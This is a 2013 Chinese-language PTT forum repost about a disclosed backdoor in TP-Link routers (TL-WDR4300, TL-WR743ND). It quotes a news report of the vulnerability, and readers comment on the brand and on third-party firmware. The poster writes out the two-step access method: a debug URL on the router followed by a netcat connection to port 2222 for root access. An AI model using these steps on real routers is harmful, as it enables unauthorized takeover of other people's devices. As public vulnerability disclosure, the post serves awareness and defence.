作者Obb (有趣的世界)
看板AntiVirus
标题Fw: [情报] TP-Link 路由器发现後门
时间Sat Mar 16 14:42:11 2013
※ [本文转录自 Broad_Band 看板 #1HH1E3Fu ]
作者: Obb (有趣的世界) 看板: Broad_Band
标题: Re: [情报] TP-Link 路由器发现後门
时间: Sat Mar 16 14:38:57 2013
难怪美国的资讯采购坚持不用 华为设备
但我们三大电信采购买了很多... 真有种
後门进入方式
先
http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
再nc 192.168.0.1 2222
获取TP-Link最高权限。
※ 引述《YuiFAN (半熟鱿鱼)》之铭言：
: http://www.solidot.org/story?sid=33846
: 安全研究员 Michal Sajdak 在深圳普联技术有限公司（TP-LINK）的路由器产品
: TL-WDR4300 的韧体中发现了後门漏洞，在通知普联无果後，公开了漏洞的概念
: 验证攻击代码。
: 受影响的型号包括 TL-WDR4300 和 TL-WR743ND (v1.2 / v2.0) 等，包含远程
: root 漏洞的韧体版本是去年底发布的最新版本 3.13.23 Build 122512
: (即2012年12月25日发布的版本)。Sajdak於 2月12日和22日两次向普联发去了
: 详细介绍漏洞的邮件，都没有得到任何回应，於是在3月12日公开了漏洞。
: 此漏洞的详细说明网页：
: http://sekurak.pl/tp-link-httptftp-backdoor/
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 182.18.223.9
※ Obb:转录至看板 Network 03/16 14:39
※ 发信站: 批踢踢实业坊(ptt.cc)
※ 转录者: Obb (182.18.223.9), 时间: 03/16/2013 14:42:11
1F：→ y3k:这家好可惜 明明用超有名厂商的晶片 却听说效能普普 又出这包 03/16 17:24
2F：推 litleaf:怎麽没人理这篇阿 明明一堆家庭都用这个阿!! 03/16 20:24
3F：→ y3k:好像也没有到一堆人用啦XD 03/16 20:40
4F：推 norlan17m:我还买了一个旅行用的AP，想说还不错用 03/16 21:29
5F：→ bestpika:因为买回来就刷别的韧体去了根本没这问题 XD 03/17 07:17
6F：→ sennei:这家产品便宜大碗说@@ 03/18 14:08
7F：推 Bohm:....我也有买 = = 03/19 17:04
8F：推 richjf:通常是买来刷第三方韧体的.不过在中国当地卖的满多不能刷. 04/02 11:02